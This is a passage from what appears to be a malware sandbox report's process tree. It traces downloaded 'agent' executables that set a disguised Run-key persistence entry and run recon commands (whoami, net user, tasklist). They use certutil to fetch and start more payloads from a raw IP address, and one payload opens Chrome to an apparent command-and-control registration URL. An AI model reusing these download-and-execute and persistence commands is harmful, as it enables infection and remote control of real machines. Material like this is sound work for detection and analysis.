                                                                                                      C:\Windows\system32\net1 user
                                                                                                      9⤵
                                                                                                        PID:5836
                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                    "cmd" /C "net user"
                                                                                                    7⤵
                                                                                                    • Executes a command shell one-liner
                                                                                                    PID:6700
                                                                                                    • C:\Windows\system32\net.exe
                                                                                                      net user
                                                                                                      8⤵
                                                                                                        PID:5968
                                                                                                        • C:\Windows\system32\net1.exe
                                                                                                          C:\Windows\system32\net1 user
                                                                                                          9⤵
                                                                                                            PID:6968
                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                        "cmd" /C whoami
                                                                                                        7⤵
                                                                                                        • Executes a command shell one-liner
                                                                                                        PID:7104
                                                                                                        • C:\Windows\system32\whoami.exe
                                                                                                          whoami
                                                                                                          8⤵
                                                                                                            PID:6160
                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                          "cmd" /C whoami
                                                                                                          7⤵
                                                                                                          • Executes a command shell one-liner
                                                                                                          PID:5632
                                                                                                          • C:\Windows\system32\whoami.exe
                                                                                                            whoami
                                                                                                            8⤵
                                                                                                              PID:5024
                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                            "cmd" /C "certutil -urlcache -split -f http://185.199.199.136/agent.exe C:\Users\Public\agent.exe && start C:\Users\Public\agent.exe"
                                                                                                            7⤵
                                                                                                            • Executes a command shell one-liner
                                                                                                            PID:5716
                                                                                                            • C:\Windows\system32\certutil.exe
                                                                                                              certutil -urlcache -split -f http://185.199.199.136/agent.exe C:\Users\Public\agent.exe
                                                                                                              8⤵
                                                                                                              • Downloads MZ/PE file
                                                                                                              PID:5536
                                                                                                            • C:\Users\Public\agent.exe
                                                                                                              C:\Users\Public\agent.exe
                                                                                                              8⤵
                                                                                                              • Executes dropped EXE
                                                                                                              PID:3204
                                                                                                              • C:\Windows\system32\reg.exe
                                                                                                                "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SecurityHealth /t REG_SZ /d C:\Users\Public\agent.exe /f
                                                                                                                9⤵
                                                                                                                • Adds Run key to start application
                                                                                                                • Modifies registry key
                                                                                                                PID:2876
                                                                                                • C:\Users\Admin\Downloads\agent_650285c28563a9bc.exe
                                                                                                  "C:\Users\Admin\Downloads\agent_650285c28563a9bc.exe"
                                                                                                  2⤵
                                                                                                  • Executes dropped EXE
                                                                                                  • Suspicious use of WriteProcessMemory
                                                                                                  PID:1444
                                                                                                  • C:\Windows\system32\reg.exe
                                                                                                    "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SecurityHealth /t REG_SZ /d C:\Users\Admin\Downloads\agent_650285c28563a9bc.exe /f
                                                                                                    3⤵
                                                                                                    • Adds Run key to start application
                                                                                                    • Modifies registry key
                                                                                                    PID:5088
                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                    "cmd" /C "dir C:\\"
                                                                                                    3⤵
                                                                                                    • Executes a command shell one-liner
                                                                                                    PID:5756
                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                    "cmd" /C "certutil -urlcache -split -f http://185.199.199.136/agent.exe C:\Users\Public\agent.exe && start C:\Users\Public\agent.exe"
                                                                                                    3⤵
                                                                                                    • Executes a command shell one-liner
                                                                                                    PID:5620
                                                                                                    • C:\Windows\system32\certutil.exe
                                                                                                      certutil -urlcache -split -f http://185.199.199.136/agent.exe C:\Users\Public\agent.exe
                                                                                                      4⤵
                                                                                                      • Downloads MZ/PE file
                                                                                                      PID:5656
                                                                                                    • C:\Users\Public\agent.exe
                                                                                                      C:\Users\Public\agent.exe
                                                                                                      4⤵
                                                                                                      • Executes dropped EXE
                                                                                                      PID:5944
                                                                                                      • C:\Windows\system32\reg.exe
                                                                                                        "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SecurityHealth /t REG_SZ /d C:\Users\Public\agent.exe /f
                                                                                                        5⤵
                                                                                                        • Adds Run key to start application
                                                                                                        • Modifies registry key
                                                                                                        PID:5996
                                                                                                      • C:\Windows\system32\cmd.exe
                                                                                                        "cmd" /C "certutil -urlcache -split -f http://185.199.199.136/agent.exe C:\Users\Public\agent.exe && start C:\Users\Public\agent.exe"
                                                                                                        5⤵
                                                                                                        • Executes a command shell one-liner
                                                                                                        PID:5356
                                                                                                        • C:\Windows\system32\certutil.exe
                                                                                                          certutil -urlcache -split -f http://185.199.199.136/agent.exe C:\Users\Public\agent.exe
                                                                                                          6⤵
                                                                                                          • Downloads MZ/PE file
                                                                                                          PID:4772
                                                                                                        • C:\Users\Public\agent.exe
                                                                                                          C:\Users\Public\agent.exe
                                                                                                          6⤵
                                                                                                          • Executes dropped EXE
                                                                                                          PID:5132
                                                                                                          • C:\Windows\system32\reg.exe
                                                                                                            "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SecurityHealth /t REG_SZ /d C:\Users\Public\agent.exe /f
                                                                                                            7⤵
                                                                                                            • Adds Run key to start application
                                                                                                            • Modifies registry key
                                                                                                            PID:3256
                                                                                                          • C:\Windows\system32\cmd.exe
                                                                                                            "cmd" /C whoami
                                                                                                            7⤵
                                                                                                            • Executes a command shell one-liner
                                                                                                            PID:5504
                                                                                                            • C:\Windows\system32\whoami.exe
                                                                                                              whoami
                                                                                                              8⤵
                                                                                                                PID:2672
                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                              "cmd" /C tasklist
                                                                                                              7⤵
                                                                                                                PID:5688
                                                                                                                • C:\Windows\system32\tasklist.exe
                                                                                                                  tasklist
                                                                                                                  8⤵
                                                                                                                  • Discovers running processes
                                                                                                                  PID:6952
                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                "cmd" /C whoami
                                                                                                                7⤵
                                                                                                                • Executes a command shell one-liner
                                                                                                                PID:6076
                                                                                                                • C:\Windows\System32\Conhost.exe
                                                                                                                  \??\C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                                                  8⤵
                                                                                                                    PID:6276
                                                                                                                  • C:\Windows\system32\whoami.exe
                                                                                                                    whoami
                                                                                                                    8⤵
                                                                                                                      PID:5420
                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                    "cmd" /C whoami
                                                                                                                    7⤵
                                                                                                                    • Executes a command shell one-liner
                                                                                                                    PID:6288
                                                                                                                    • C:\Windows\system32\whoami.exe
                                                                                                                      whoami
                                                                                                                      8⤵
                                                                                                                        PID:3496
                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                      "cmd" /C "net user"
                                                                                                                      7⤵
                                                                                                                      • Executes a command shell one-liner
                                                                                                                      PID:6920
                                                                                                                      • C:\Windows\system32\net.exe
                                                                                                                        net user
                                                                                                                        8⤵
                                                                                                                          PID:6824
                                                                                                                          • C:\Windows\system32\net1.exe
                                                                                                                            C:\Windows\system32\net1 user
                                                                                                                            9⤵
                                                                                                                              PID:6868
                                                                                                                        • C:\Windows\system32\cmd.exe
                                                                                                                          "cmd" /C "net user"
                                                                                                                          7⤵
                                                                                                                          • Executes a command shell one-liner
                                                                                                                          PID:6984
                                                                                                                          • C:\Windows\system32\net.exe
                                                                                                                            net user
                                                                                                                            8⤵
                                                                                                                              PID:5416
                                                                                                                              • C:\Windows\system32\net1.exe
                                                                                                                                C:\Windows\system32\net1 user
                                                                                                                                9⤵
                                                                                                                                  PID:6500
                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                              "cmd" /C whoami
                                                                                                                              7⤵
                                                                                                                              • Executes a command shell one-liner
                                                                                                                              PID:6836
                                                                                                                              • C:\Windows\system32\whoami.exe
                                                                                                                                whoami
                                                                                                                                8⤵
                                                                                                                                  PID:3672
                                                                                                                              • C:\Windows\system32\cmd.exe
                                                                                                                                "cmd" /C whoami
                                                                                                                                7⤵
                                                                                                                                • Executes a command shell one-liner
                                                                                                                                PID:3756
                                                                                                                                • C:\Windows\system32\whoami.exe
                                                                                                                                  whoami
                                                                                                                                  8⤵
                                                                                                                                    PID:6644
                                                                                                                                • C:\Windows\system32\cmd.exe
                                                                                                                                  "cmd" /C whoami
                                                                                                                                  7⤵
                                                                                                                                  • Executes a command shell one-liner
                                                                                                                                  PID:6272
                                                                                                                                  • C:\Windows\system32\whoami.exe
                                                                                                                                    whoami
                                                                                                                                    8⤵
                                                                                                                                      PID:5392
                                                                                                                                  • C:\Windows\system32\cmd.exe
                                                                                                                                    "cmd" /C whoami
                                                                                                                                    7⤵
                                                                                                                                    • Executes a command shell one-liner
                                                                                                                                    PID:5452
                                                                                                                                    • C:\Windows\system32\whoami.exe
                                                                                                                                      whoami
                                                                                                                                      8⤵
                                                                                                                                        PID:7012
                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                      "cmd" /C "certutil -urlcache -split -f http://185.199.199.136/captcha_crypted.exe C:\Users\Public\captcha_crypted.exe && start C:\Users\Public\captcha_crypted.exe"
                                                                                                                                      7⤵
                                                                                                                                      • Executes a command shell one-liner
                                                                                                                                      PID:6880
                                                                                                                                      • C:\Windows\system32\certutil.exe
                                                                                                                                        certutil -urlcache -split -f http://185.199.199.136/captcha_crypted.exe C:\Users\Public\captcha_crypted.exe
                                                                                                                                        8⤵
                                                                                                                                        • Downloads MZ/PE file
                                                                                                                                        PID:7032
                                                                                                                          • C:\Users\Admin\Downloads\agent_650285c28563a9bc.exe
                                                                                                                            "C:\Users\Admin\Downloads\agent_650285c28563a9bc.exe"
                                                                                                                            2⤵
                                                                                                                            • Executes dropped EXE
                                                                                                                            • Suspicious use of WriteProcessMemory
                                                                                                                            PID:1188
                                                                                                                            • C:\Windows\system32\reg.exe
                                                                                                                              "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SecurityHealth /t REG_SZ /d C:\Users\Admin\Downloads\agent_650285c28563a9bc.exe /f
                                                                                                                              3⤵
                                                                                                                              • Adds Run key to start application
                                                                                                                              • Modifies registry key
                                                                                                                              PID:2732
                                                                                                                            • C:\Windows\system32\cmd.exe
                                                                                                                              "cmd" /C "certutil -urlcache -split -f http://185.199.199.136/build.exe C:\Users\Public\build.exe && start C:\Users\Public\build.exe"
                                                                                                                              3⤵
                                                                                                                              • Executes a command shell one-liner
                                                                                                                              PID:4648
                                                                                                                              • C:\Windows\system32\certutil.exe
                                                                                                                                certutil -urlcache -split -f http://185.199.199.136/build.exe C:\Users\Public\build.exe
                                                                                                                                4⤵
                                                                                                                                • Downloads MZ/PE file
                                                                                                                                PID:4756
                                                                                                                              • C:\Users\Public\build.exe
                                                                                                                                C:\Users\Public\build.exe
                                                                                                                                4⤵
                                                                                                                                • Executes dropped EXE
                                                                                                                                • System Location Discovery: System Language Discovery
                                                                                                                                • Suspicious behavior: EnumeratesProcesses
                                                                                                                                PID:6208
                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" trenadne.cyou/api/set_agent?id=F9AB28E3BD24956701AEC7B30ADF174C&token=62a137c4d2bebe59c7a2f5baa1f0e9d2b5c8c3e61399&description=&agent=Chrome
                                                                                                                                  5⤵
                                                                                                                                  • Enumerates system info in registry
                                                                                                                                  • Modifies data under HKEY_USERS
                                                                                                                                  • Modifies registry class
                                                                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                                                                  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                                                                                                  PID:6712
                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff8073ac728,0x7ff8073ac734,0x7ff8073ac740
                                                                                                                                    6⤵
                                                                                                                                      PID:6732
                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-pre-read-main-dll --force-high-res-timeticks=disabled --metrics-shmem-handle=1456,i,1427915603353498485,3390116380186828378,524288 --field-trial-handle=1968,i,5885872653396907195,11140514210229345402,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2148 /prefetch:11
                                                                                                                                      6⤵
                                                                                                                                      • System Time Discovery
                                                                                                                                      PID:6972
                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1592,i,4097160834339832078,16991277408797983854,262144 --field-trial-handle=1968,i,5885872653396907195,11140514210229345402,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=1964 /prefetch:2
                                                                                                                                      6⤵
                                                                                                                                        PID:6980
                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2400,i,16591099944761190312,1073240680680141973,524288 --field-trial-handle=1968,i,5885872653396907195,11140514210229345402,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2560 /prefetch:13
                                                                                                                                        6⤵
                                                                                                                                          PID:7044
                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3092,i,10764545972544807234,13391916953422850657,2097152 --field-trial-handle=1968,i,5885872653396907195,11140514210229345402,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3104 /prefetch:1
                                                                                                                                          6⤵
                                                                                                                                            PID:7092
                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3112,i,3328284686609076946,8890331252545541647,2097152 --field-trial-handle=1968,i,5885872653396907195,11140514210229345402,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3128 /prefetch:1
                                                                                                                                            6⤵
                                                                                                                                              PID:7100
                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4172,i,11570275663076311027,1713570537954158389,2097152 --field-trial-handle=1968,i,5885872653396907195,11140514210229345402,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4180 /prefetch:9
                                                                                                                                              6⤵
                                                                                                                                                PID:5192
                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=4544,i,16383384637036048663,10710981125623029690,524288 --field-trial-handle=1968,i,5885872653396907195,11140514210229345402,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4664 /prefetch:12
                                                                                                                                                6⤵
                                                                                                                                                  PID:5828
                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5584,i,316258360955644693,6104639731581733088,524288 --field-trial-handle=1968,i,5885872653396907195,11140514210229345402,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5588 /prefetch:14
                                                                                                                                                  6⤵
                                                                                                                                                    PID:5808
                                                                                                                                          • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                            "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=3016,i,14693549702381445042,13494046052088805252,524288 --field-trial-handle=2080,i,4297709675461073175,2754979132644664583,262144 --variations-seed-version --mojo-platform-channel-handle=3848 /prefetch:14
                                                                                                                                            2⤵
                                                                                                                                              PID:1748
                                                                                                                                            • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                              "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=asset_store.mojom.AssetStoreService --lang=en-US --service-sandbox-type=asset_store_service --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6156,i,5428055239885509392,17116985100110650566,524288 --field-trial-handle=2080,i,4297709675461073175,2754979132644664583,262144 --variations-seed-version --mojo-platform-channel-handle=6152 /prefetch:14
                                                                                                                                              2⤵
                                                                                                                                                PID:936
                                                                                                                                              • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=on_device_model.mojom.OnDeviceModelService --lang=en-US --service-sandbox-type=on_device_model_execution --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=6600,i,17539220586357896149,3132511095651504363,524288 --field-trial-handle=2080,i,4297709675461073175,2754979132644664583,262144 --variations-seed-version --mojo-platform-channel-handle=6484 /prefetch:14
                                                                                                                                                2⤵
                                                                                                                                                  PID:1908
                                                                                                                                                • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                  "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=30 --always-read-main-dll --metrics-shmem-handle=6460,i,2921004934112184835,7968261195432763329,2097152 --field-trial-handle=2080,i,4297709675461073175,2754979132644664583,262144 --variations-seed-version --mojo-platform-channel-handle=5520 /prefetch:1
                                                                                                                                                  2⤵
                                                                                                                                                    PID:1280
                                                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5488,i,13478467102208497277,5933129083321179552,524288 --field-trial-handle=2080,i,4297709675461073175,2754979132644664583,262144 --variations-seed-version --mojo-platform-channel-handle=6476 /prefetch:14
                                                                                                                                                    2⤵
                                                                                                                                                    • Subvert Trust Controls: Mark-of-the-Web Bypass
                                                                                                                                                    • NTFS ADS
                                                                                                                                                    PID:4648
                                                                                                                                                  • C:\Users\Admin\Downloads\agent_81cf408b159e191c.exe
                                                                                                                                                    "C:\Users\Admin\Downloads\agent_81cf408b159e191c.exe"
                                                                                                                                                    2⤵
                                                                                                                                                    • Executes dropped EXE
                                                                                                                                                    PID:640
                                                                                                                                                    • C:\Windows\system32\reg.exe
                                                                                                                                                      "reg" add HKCU\Software\Microsoft\Windows\CurrentVersion\Run /v SecurityHealth /t REG_SZ /d C:\Users\Admin\Downloads\agent_81cf408b159e191c.exe /f
                                                                                                                                                      3⤵
                                                                                                                                                      • Adds Run key to start application
                                                                                                                                                      • Modifies registry key
                                                                                                                                                      PID:2224
                                                                                                                                                    • C:\Windows\system32\cmd.exe
                                                                                                                                                      "cmd" /C "certutil -urlcache -split -f http://185.199.199.136/build.exe C:\Users\Public\build.exe && start C:\Users\Public\build.exe"
                                                                                                                                                      3⤵
                                                                                                                                                      • Executes a command shell one-liner
                                                                                                                                                      PID:6096
                                                                                                                                                      • C:\Windows\system32\certutil.exe
                                                                                                                                                        certutil -urlcache -split -f http://185.199.199.136/build.exe C:\Users\Public\build.exe
                                                                                                                                                        4⤵
                                                                                                                                                        • Downloads MZ/PE file
                                                                                                                                                        PID:3868
                                                                                                                                                      • C:\Users\Public\build.exe
                                                                                                                                                        C:\Users\Public\build.exe
                                                                                                                                                        4⤵
                                                                                                                                                        • Executes dropped EXE
                                                                                                                                                        • System Location Discovery: System Language Discovery
                                                                                                                                                        • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                        PID:5512
                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" trenadne.cyou/api/set_agent?id=F9AB28E3BD24956701AEC7B30ADF174C&token=62a137c4d2bebe59c7a2f5baa1f0e9d2b5c8c3e61399&description=&agent=Chrome
                                                                                                                                                          5⤵
                                                                                                                                                          • Enumerates system info in registry
                                                                                                                                                          • Modifies data under HKEY_USERS
                                                                                                                                                          • Modifies registry class
                                                                                                                                                          • Suspicious behavior: EnumeratesProcesses
                                                                                                                                                          • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                                                                                                                          PID:5768
                                                                                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=140.0.7339.81 --initial-client-data=0xfc,0x100,0x104,0xd8,0x108,0x7ff8073ac728,0x7ff8073ac734,0x7ff8073ac740
                                                                                                                                                            6⤵
                                                                                                                                                              PID:5688
                                                                                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-pre-read-main-dll --force-high-res-timeticks=disabled --gpu-preferences=SAAAAAAAAADgAAAIAAAAAAAAAAAAAGAAAQAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAQAAAAAAAAABAAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --metrics-shmem-handle=1692,i,5455479743887381036,12953549060739620661,262144 --field-trial-handle=2104,i,10360926198098706330,14011884467476319995,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2100 /prefetch:2
                                                                                                                                                              6⤵
                                                                                                                                                                PID:5904
                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=2032,i,10730619284943356918,11673154975663867214,524288 --field-trial-handle=2104,i,10360926198098706330,14011884467476319995,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2132 /prefetch:11
                                                                                                                                                                6⤵
                                                                                                                                                                • System Time Discovery
                                                                                                                                                                PID:6112
                                                                                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --force-high-res-timeticks=disabled --metrics-shmem-handle=2428,i,18362342481013970961,10258661720734317976,524288 --field-trial-handle=2104,i,10360926198098706330,14011884467476319995,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=2596 /prefetch:13
                                                                                                                                                                6⤵
                                                                                                                                                                  PID:5800
                                                                                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --metrics-shmem-handle=3172,i,9958506694660149207,468335160014871231,2097152 --field-trial-handle=2104,i,10360926198098706330,14011884467476319995,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3328 /prefetch:1
                                                                                                                                                                  6⤵
                                                                                                                                                                    PID:5848
                                                                                                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --metrics-shmem-handle=3180,i,5899692886864197114,10143924551886706262,2097152 --field-trial-handle=2104,i,10360926198098706330,14011884467476319995,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=3348 /prefetch:1
                                                                                                                                                                    6⤵
                                                                                                                                                                      PID:5808
                                                                                                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --extension-process --enable-dinosaur-easter-egg-alt-images --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --metrics-shmem-handle=4216,i,15246174600534782925,17200076438262761369,2097152 --field-trial-handle=2104,i,10360926198098706330,14011884467476319995,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4296 /prefetch:9
                                                                                                                                                                      6⤵
                                                                                                                                                                        PID:2664
                                                                                                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=audio.mojom.AudioService --lang=en-US --service-sandbox-type=audio --force-high-res-timeticks=disabled --metrics-shmem-handle=4244,i,14793664323362617587,7764977334917425529,524288 --field-trial-handle=2104,i,10360926198098706330,14011884467476319995,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=4692 /prefetch:12
                                                                                                                                                                        6⤵
                                                                                                                                                                          PID:4476
                                                                                                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=chrome.mojom.ProcessorMetrics --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --metrics-shmem-handle=5432,i,17865331276700870422,11858083747459172246,524288 --field-trial-handle=2104,i,10360926198098706330,14011884467476319995,262144 --variations-seed-version=20260513-090056.789000-production --mojo-platform-channel-handle=5472 /prefetch:14
                                                                                                                                                                          6⤵
                                                                                                                                                                            PID:5192
                                                                                                                                                                  • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                    "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=renderer --pdf-upsell-enabled --force-high-res-timeticks=disabled --disable-gpu-compositing --video-capture-use-gpu-memory-buffer --lang=en-US --js-flags=--ms-user-locale= --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=32 --always-read-main-dll --metrics-shmem-handle=3360,i,16536006460940195358,12506147310875313277,2097152 --field-trial-handle=2080,i,4297709675461073175,2754979132644664583,262144 --variations-seed-version --mojo-platform-channel-handle=5484 /prefetch:1
                                                                                                                                                                    2⤵
                                                                                                                                                                      PID:1528
                                                                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
                                                                                                                                                                      "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=quarantine.mojom.Quarantine --lang=en-US --service-sandbox-type=none --force-high-res-timeticks=disabled --always-read-main-dll --metrics-shmem-handle=5496,i,2508959140852700896,8654337333246891869,524288 --field-trial-handle=2080,i,4297709675461073175,2754979132644664583,262144 --variations-seed-version --mojo-platform-channel-handle=4124 /prefetch:14
                                                                                                                                                                      2⤵
                                                                                                                                                                      • Subvert Trust Controls: Mark-of-the-Web Bypass
                                                                                                                                                                      • NTFS ADS
                                                                                                                                                                      PID:4164
                                                                                                                                                                    • C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
